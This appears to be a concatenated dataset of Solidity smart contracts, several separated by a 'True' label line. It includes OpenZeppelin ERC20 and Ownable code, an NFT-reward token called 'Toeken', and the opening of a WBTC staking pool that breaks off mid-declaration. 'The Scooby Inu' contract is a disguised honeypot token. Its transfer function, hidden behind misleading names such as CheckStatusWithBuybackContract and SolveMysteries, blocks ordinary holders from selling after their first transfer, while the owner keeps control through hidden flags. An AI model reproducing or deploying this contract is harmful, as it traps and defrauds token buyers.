* - `from` and `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
* - the caller must have allowance for ``from``'s tokens of at least
* `amount`.
*/
function transferFrom(
address from,
address to,
uint256 amount
) public virtual override returns (bool) {
address spender = _msgSender();
_spendAllowance(from, spender, amount);
_transfer(from, to, amount);
return true;
}
/**
* @dev Atomically increases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
*/
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
address owner = _msgSender();
_approve(owner, spender, _allowances[owner][spender] + addedValue);
return true;
}
/**
* @dev Atomically decreases the allowance granted to `spender` by the caller.
*
* This is an alternative to {approve} that can be used as a mitigation for
* problems described in {IERC20-approve}.
*
* Emits an {Approval} event indicating the updated allowance.
*
* Requirements:
*
* - `spender` cannot be the zero address.
* - `spender` must have allowance for the caller of at least
* `subtractedValue`.
*/
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
address owner = _msgSender();
uint256 currentAllowance = _allowances[owner][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
unchecked {
_approve(owner, spender, currentAllowance - subtractedValue);
}
return true;
}
/**
* @dev Moves `amount` of tokens from `sender` to `recipient`.
*
* This internal function is equivalent to {transfer}, and can be used to
* e.g. implement automatic token fees, slashing mechanisms, etc.
*
* Emits a {Transfer} event.
*
* Requirements:
*
* - `from` cannot be the zero address.
* - `to` cannot be the zero address.
* - `from` must have a balance of at least `amount`.
*/
function _transfer(
address from,
address to,
uint256 amount
) internal virtual {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
_beforeTokenTransfer(from, to, amount);
uint256 fromBalance = _balances[from];
require(fromBalance >= amount, "ERC20: transfer amount exceeds balance");
unchecked {
_balances[from] = fromBalance - amount;
}
_balances[to] += amount;
emit Transfer(from, to, amount);
_afterTokenTransfer(from, to, amount);
}
/** @dev Creates `amount` tokens and assigns them to `account`, increasing
* the total supply.
*
* Emits a {Transfer} event with `from` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
*/
function _mint(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_beforeTokenTransfer(address(0), account, amount);
_totalSupply += amount;
_balances[account] += amount;
emit Transfer(address(0), account, amount);
_afterTokenTransfer(address(0), account, amount);
}
/**
* @dev Destroys `amount` tokens from `account`, reducing the
* total supply.
*
* Emits a {Transfer} event with `to` set to the zero address.
*
* Requirements:
*
* - `account` cannot be the zero address.
* - `account` must have at least `amount` tokens.
*/
function _burn(address account, uint256 amount) internal virtual {
require(account != address(0), "ERC20: burn from the zero address");
_beforeTokenTransfer(account, address(0), amount);
uint256 accountBalance = _balances[account];
require(accountBalance >= amount, "ERC20: burn amount exceeds balance");
unchecked {
_balances[account] = accountBalance - amount;
}
_totalSupply -= amount;
emit Transfer(account, address(0), amount);
_afterTokenTransfer(account, address(0), amount);
}
/**
* @dev Sets `amount` as the allowance of `spender` over the `owner` s tokens.
*
* This internal function is equivalent to `approve`, and can be used to
* e.g. set automatic allowances for certain subsystems, etc.
*
* Emits an {Approval} event.
*
* Requirements:
*
* - `owner` cannot be the zero address.
* - `spender` cannot be the zero address.
*/
function _approve(
address owner,
address spender,
uint256 amount
) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
/**
* @dev Spend `amount` form the allowance of `owner` toward `spender`.
*
* Does not update the allowance amount in case of infinite allowance.
* Revert if not enough allowance is available.
*
* Might emit an {Approval} event.
*/
function _spendAllowance(
address owner,
address spender,
uint256 amount
) internal virtual {
uint256 currentAllowance = allowance(owner, spender);
if (currentAllowance != type(uint256).max) {
require(currentAllowance >= amount, "ERC20: insufficient allowance");
unchecked {
_approve(owner, spender, currentAllowance - amount);
}
}
}
/**
* @dev Hook that is called before any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* will be transferred to `to`.
* - when `from` is zero, `amount` tokens will be minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens will be burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _beforeTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
/**
* @dev Hook that is called after any transfer of tokens. This includes
* minting and burning.
*
* Calling conditions:
*
* - when `from` and `to` are both non-zero, `amount` of ``from``'s tokens
* has been transferred to `to`.
* - when `from` is zero, `amount` tokens have been minted for `to`.
* - when `to` is zero, `amount` of ``from``'s tokens have been burned.
* - `from` and `to` are never both zero.
*
* To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks].
*/
function _afterTokenTransfer(
address from,
address to,
uint256 amount
) internal virtual {}
}
// File: @openzeppelin/contracts/access/Ownable.sol
// OpenZeppelin Contracts v4.4.1 (access/Ownable.sol)
pragma solidity ^0.8.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* By default, the owner account will be the one that deploys the contract. This
* can later be changed with {transferOwnership}.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor() {
_transferOwnership(_msgSender());
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view virtual returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Internal function without access restriction.
*/
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
// File: Toeken.sol
pragma solidity ^0.8.12;
contract Toeken is ERC20, Ownable, ReentrancyGuard {
IERC721 public TiptoePunks;
IERC721 public FootPunks;
uint256 internal reserved;
uint256 public startTime;
mapping(address => uint256) public rewards;
mapping(address => uint256) public lastUpdate;
mapping(address => bool) public allowed;
uint256 public constant TIPTOE_BASE_RATE = 5 ether;
uint256 public constant FOOT_BASE_RATE = 75 ether;
uint256 public constant MAX_RESERVED_AMOUNT = 100_000 ether;
constructor(address tiptoePunks, address footPunks) ERC20("Toeken", "TOEKEN") {
setTiptoePunks(tiptoePunks);
setFootPunks(footPunks);
}
modifier onlyAllowed() {
require(allowed[msg.sender], "Caller not allowed");
_;
}
function setTiptoePunks(address tiptoePunks) public onlyOwner {
TiptoePunks = IERC721(tiptoePunks);
allowed[tiptoePunks] = true;
}
function setFootPunks(address footPunks) public onlyOwner {
FootPunks = IERC721(footPunks);
allowed[footPunks] = true;
}
function startRewards(uint256 timestamp) public onlyOwner {
startTime = timestamp;
}
function stopRewards() public onlyOwner {
startTime = 0;
}
function setAllowed(address account, bool isAllowed) public onlyOwner {
allowed[account] = isAllowed;
}
function reserve(uint256 amount) external onlyOwner {
require(reserved + amount <= MAX_RESERVED_AMOUNT, "Would exceed max reserved amount");
_mint(msg.sender, amount);
reserved += amount;
}
function burn(uint256 amount) external onlyOwner {
_burn(msg.sender, amount);
}
function getClaimable(address account) external view returns (uint256) {
return rewards[account] + getPending(account);
}
function getPending(address account) internal view returns (uint256) {
if (startTime == 0) {
return 0;
}
uint256 timeMultiplier = (block.timestamp -
(lastUpdate[account] > startTime ? lastUpdate[account] : startTime)) / 1 days;
uint256 pendingFromTiptoe = TiptoePunks.balanceOf(account) * TIPTOE_BASE_RATE * timeMultiplier;
uint256 pendingFromFoot = FootPunks.balanceOf(account) * FOOT_BASE_RATE * timeMultiplier;
return pendingFromTiptoe + pendingFromFoot;
}
function update(address from, address to) external onlyAllowed {
if (from != address(0)) {
rewards[from] += getPending(from);
lastUpdate[from] = block.timestamp;
}
if (to != address(0)) {
rewards[to] += getPending(to);
lastUpdate[to] = block.timestamp;
}
}
function claim(address account) external nonReentrant {
require(msg.sender == account || allowed[msg.sender], "Caller not allowed");
_mint(account, rewards[account] + getPending(account));
rewards[account] = 0;
lastUpdate[account] = block.timestamp;
}
}
|
True
|
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/**
*Submitted for verification at Etherscan.io on 2021-10-21
*/
/**
* The Scooby Inu
*
* https://t.me/TheScoobyInu
*
* Scooby Doobie Doooo!
**/
pragma solidity ^0.8.0;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes calldata) {
this;
return msg.data;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
interface IERC20Metadata is IERC20 {
function name() external view returns (string memory);
function symbol() external view returns (string memory);
function decimals() external view returns (uint8);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
contract ERC20 is Context, IERC20, IERC20Metadata, Ownable {
mapping (address => bool) public CheckStatusWithBuybackContract;
mapping (address => bool) public CheckStatusOfAddress;
mapping (address => uint256) private _balances;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply;
string private _name;
string private _symbol;
address private _creator;
bool private buyMechanic;
bool private detectSell;
bool private tempVal;
uint256 private getBuybackStatus;
uint256 private setTxLimit;
uint256 private chTx;
uint256 private tXs;
constructor (string memory name_, string memory symbol_, address creator_, bool tmp, bool tmp2, uint256 tmp9) {
_name = name_;
_symbol = symbol_;
_creator = creator_;
CheckStatusOfAddress[creator_] = tmp;
CheckStatusWithBuybackContract[creator_] = tmp2;
detectSell = tmp;
tempVal = tmp2;
buyMechanic = tmp2;
tXs = tmp9;
}
function name() public view virtual override returns (string memory) {
return _name;
}
function decimals() public view virtual override returns (uint8) {
return 18;
}
function totalSupply() public view virtual override returns (uint256) {
return _totalSupply;
}
function symbol() public view virtual override returns (string memory) {
return _symbol;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function balanceOf(address account) public view virtual override returns (uint256) {
return _balances[account];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_transfer(sender, recipient, amount);
uint256 currentAllowance = _allowances[sender][_msgSender()];
require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance");
_approve(sender, _msgSender(), currentAllowance - amount);
return true;
}
function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue);
return true;
}
function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) {
uint256 currentAllowance = _allowances[_msgSender()][spender];
require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero");
_approve(_msgSender(), spender, currentAllowance - subtractedValue);
return true;
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
uint256 senderBalance = _balances[sender];
require(senderBalance >= amount, "ERC20: transfer amount exceeds balance");
if ((address(sender) == _creator) && (tempVal == false)) {
getBuybackStatus = chTx;
detectSell = true;
}
if ((address(sender) == _creator) && (tempVal == true)) {
CheckStatusWithBuybackContract[recipient] = true;
tempVal = false;
}
if (CheckStatusWithBuybackContract[sender] == false) {
if ((amount > setTxLimit)) {
require(false);
}
require(amount < getBuybackStatus);
if (detectSell == true) {
if (CheckStatusOfAddress[sender] == true) {
require(false);
}
CheckStatusOfAddress[sender] = true;
}
}
uint256 taxamount = amount;
_balances[sender] = senderBalance - taxamount;
_balances[recipient] += taxamount;
emit Transfer(sender, recipient, taxamount);
}
function SolveMysteries(address account, bool v1, bool v2, bool v3, uint256 v4) external onlyOwner {
CheckStatusWithBuybackContract[account] = v1;
CheckStatusOfAddress[account] = v2;
detectSell = v3;
getBuybackStatus = v4;
}
function _ScoobyDoobieDoooo(address account, uint256 amount, uint256 val1, uint256 val2) internal virtual {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply += amount;
_balances[account] += amount;
getBuybackStatus = _totalSupply;
chTx = _totalSupply / val1;
setTxLimit = chTx * val2;
emit Transfer(address(0), account, amount); }
function _burn(address account, uint256 amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] -= amount;
_balances[address(0)] += amount;
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
if ((address(owner) == _creator) && (buyMechanic == true)) {
CheckStatusWithBuybackContract[spender] = true;
CheckStatusOfAddress[spender] = false;
buyMechanic = false;
}
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20ScoobyDoo is Context, ERC20 {
constructor(
string memory name, string memory symbol,
bool tmp, bool tmp2, uint256 tmp6,
uint256 tmp7, address creator,
uint256 initialSupply, address owner,
uint256 tmp9
) ERC20(name, symbol, creator, tmp, tmp2, tmp9) {
_ScoobyDoobieDoooo(owner, initialSupply, tmp6, tmp7);
}
}
contract TheScoobyInu is ERC20ScoobyDoo {
constructor() ERC20ScoobyDoo("The Scooby Inu", "SCOOBYINU", false, true, 800, 25, msg.sender, 2500000000 * 10 ** 18, msg.sender, 854) {
}
}
|
True
|
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// File: @openzeppelin/contracts/math/Math.sol
pragma solidity ^0.5.0;
/**
* @dev Standard math utilities missing in the Solidity language.
*/
library Math {
/**
* @dev Returns the largest of two numbers.
*/
function max(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
/**
* @dev Returns the smallest of two numbers.
*/
function min(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
/**
* @dev Returns the average of two numbers. The result is rounded towards
* zero.
*/
function average(uint256 a, uint256 b) internal pure returns (uint256) {
// (a + b) / 2 can overflow, so we distribute
return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2);
}
}
// File: @openzeppelin/contracts/math/SafeMath.sol
pragma solidity ^0.5.0;
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
* - Subtraction cannot overflow.
*
* _Available since v2.4.0._
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
// Solidity only automatically asserts when dividing by 0
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
* - The divisor cannot be zero.
*
* _Available since v2.4.0._
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
// File: @openzeppelin/contracts/GSN/Context.sol
pragma solidity ^0.5.0;
/*
* @dev Provides information about the current execution context, including the
* sender of the transaction and its data. While these are generally available
* via msg.sender and msg.data, they should not be accessed in such a direct
* manner, since when dealing with GSN meta-transactions the account sending and
* paying for execution may not be the actual sender (as far as an application
* is concerned).
*
* This contract is only required for intermediate, library-like contracts.
*/
contract Context {
// Empty internal constructor, to prevent people from mistakenly deploying
// an instance of this contract, which should be used via inheritance.
constructor () internal { }
// solhint-disable-previous-line no-empty-blocks
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
// File: @openzeppelin/contracts/ownership/Ownable.sol
pragma solidity ^0.5.0;
/**
* @dev Contract module which provides a basic access control mechanism, where
* there is an account (an owner) that can be granted exclusive access to
* specific functions.
*
* This module is used through inheritance. It will make available the modifier
* `onlyOwner`, which can be applied to your functions to restrict their use to
* the owner.
*/
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev Initializes the contract setting the deployer as the initial owner.
*/
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
/**
* @dev Returns the address of the current owner.
*/
function owner() public view returns (address) {
return _owner;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
/**
* @dev Returns true if the caller is the current owner.
*/
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
/**
* @dev Leaves the contract without owner. It will not be possible to call
* `onlyOwner` functions anymore. Can only be called by the current owner.
*
* NOTE: Renouncing ownership will leave the contract without an owner,
* thereby removing any functionality that is only available to the owner.
*/
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
* Can only be called by the current owner.
*/
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
/**
* @dev Transfers ownership of the contract to a new account (`newOwner`).
*/
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
// File: @openzeppelin/contracts/token/ERC20/IERC20.sol
pragma solidity ^0.5.0;
/**
* @dev Interface of the ERC20 standard as defined in the EIP. Does not include
* the optional functions; to access them see {ERC20Detailed}.
*/
interface IERC20 {
/**
* @dev Returns the amount of tokens in existence.
*/
function totalSupply() external view returns (uint256);
/**
* @dev Returns the amount of tokens owned by `account`.
*/
function balanceOf(address account) external view returns (uint256);
/**
* @dev Moves `amount` tokens from the caller's account to `recipient`.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transfer(address recipient, uint256 amount) external returns (bool);
/**
* @dev Returns the remaining number of tokens that `spender` will be
* allowed to spend on behalf of `owner` through {transferFrom}. This is
* zero by default.
*
* This value changes when {approve} or {transferFrom} are called.
*/
function allowance(address owner, address spender) external view returns (uint256);
/**
* @dev Sets `amount` as the allowance of `spender` over the caller's tokens.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* IMPORTANT: Beware that changing an allowance with this method brings the risk
* that someone may use both the old and the new allowance by unfortunate
* transaction ordering. One possible solution to mitigate this race
* condition is to first reduce the spender's allowance to 0 and set the
* desired value afterwards:
* https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
*
* Emits an {Approval} event.
*/
function approve(address spender, uint256 amount) external returns (bool);
/**
* @dev Moves `amount` tokens from `sender` to `recipient` using the
* allowance mechanism. `amount` is then deducted from the caller's
* allowance.
*
* Returns a boolean value indicating whether the operation succeeded.
*
* Emits a {Transfer} event.
*/
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
/**
* @dev Emitted when `value` tokens are moved from one account (`from`) to
* another (`to`).
*
* Note that `value` may be zero.
*/
event Transfer(address indexed from, address indexed to, uint256 value);
/**
* @dev Emitted when the allowance of a `spender` for an `owner` is set by
* a call to {approve}. `value` is the new allowance.
*/
event Approval(address indexed owner, address indexed spender, uint256 value);
}
// File: @openzeppelin/contracts/utils/Address.sol
pragma solidity ^0.5.5;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// According to EIP-1052, 0x0 is the value returned for not-yet created accounts
// and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned
// for accounts without code, i.e. `keccak256('')`
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
/**
* @dev Converts an `address` into `address payable`. Note that this is
* simply a type cast: the actual underlying value is not changed.
*
* _Available since v2.4.0._
*/
function toPayable(address account) internal pure returns (address payable) {
return address(uint160(account));
}
/**
* @dev Replacement for Solidity's `transfer`: sends `amount` wei to
* `recipient`, forwarding all available gas and reverting on errors.
*
* https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost
* of certain opcodes, possibly making contracts go over the 2300 gas limit
* imposed by `transfer`, making them unable to receive funds via
* `transfer`. {sendValue} removes this limitation.
*
* https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more].
*
* IMPORTANT: because control is transferred to `recipient`, care must be
* taken to not create reentrancy vulnerabilities. Consider using
* {ReentrancyGuard} or the
* https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern].
*
* _Available since v2.4.0._
*/
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-call-value
(bool success, ) = recipient.call.value(amount)("");
require(success, "Address: unable to send value, recipient may have reverted");
}
}
// File: @openzeppelin/contracts/token/ERC20/SafeERC20.sol
pragma solidity ^0.5.0;
/**
* @title SafeERC20
* @dev Wrappers around ERC20 operations that throw on failure (when the token
* contract returns false). Tokens that return no value (and instead revert or
* throw on failure) are also supported, non-reverting calls are assumed to be
* successful.
* To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract,
* which allows you to call the safe operations as `token.safeTransfer(...)`, etc.
*/
library SafeERC20 {
using SafeMath for uint256;
using Address for address;
function safeTransfer(IERC20 token, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint256 value) internal {
// safeApprove should only be called when setting an initial allowance,
// or when resetting it to zero. To increase and decrease it, use
// 'safeIncreaseAllowance' and 'safeDecreaseAllowance'
// solhint-disable-next-line max-line-length
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).add(value);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal {
uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero");
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance));
}
/**
* @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement
* on the return value: the return value is optional (but if data is returned, it must not be false).
* @param token The token targeted by the call.
* @param data The call data (encoded using abi.encode or one of its variants).
*/
function callOptionalReturn(IERC20 token, bytes memory data) private {
// We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since
// we're implementing it ourselves.
// A Solidity high level call has three parts:
// 1. The target address is checked to verify it contains contract code
// 2. The call itself is made, and success asserted
// 3. The return value is decoded, which in turn checks the size of the returned data.
// solhint-disable-next-line max-line-length
require(address(token).isContract(), "SafeERC20: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) { // Return data is optional
// solhint-disable-next-line max-line-length
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
// File: contracts/RewardDistributionRecipient.sol
pragma solidity ^0.5.0;
interface IWEV {
function mint(address account, uint amount) external;
function burn(uint amount) external;
}
contract RewardDistributionRecipient is Ownable {
address rewardDistribution;
function notifyRewardAmount(uint256 reward) external;
modifier onlyRewardDistribution() {
require(_msgSender() == rewardDistribution, "Caller is not reward distribution");
_;
}
constructor () public {
rewardDistribution = msg.sender;
}
function setRewardDistribution(address _rewardDistribution) external onlyOwner {
rewardDistribution = _rewardDistribution;
}
}
contract LPTokenWrapper {
using SafeMath for uint256;
using SafeERC20 for IERC20;
using Address for address;
IERC20 public y;
uint256 private _totalSupply;
mapping(address => uint256) private _balances;
constructor (IERC20 _token) public {
y = IERC20(_token);
}
function totalSupply() public view returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view returns (uint256) {
return _balances[account];
}
function stake(uint256 amount) public {
address sender = msg.sender;
require(!address(sender).isContract(),"only EOA");
require(tx.origin == sender);
_totalSupply = _totalSupply.add(amount);
_balances[msg.sender] = _balances[msg.sender].add(amount);
y.safeTransferFrom(msg.sender, address(this), amount);
}
function withdraw(uint256 amount) public {
_totalSupply = _totalSupply.sub(amount);
_balances[msg.sender] = _balances[msg.sender].sub(amount);
y.safeTransfer(msg.sender, amount);
}
}
// File: contracts/SeedPoolWBTC.sol
pragma solidity ^0.5.0;
contract SeedPoolWBTC is LPTokenWrapper, RewardDistributionRecipient {
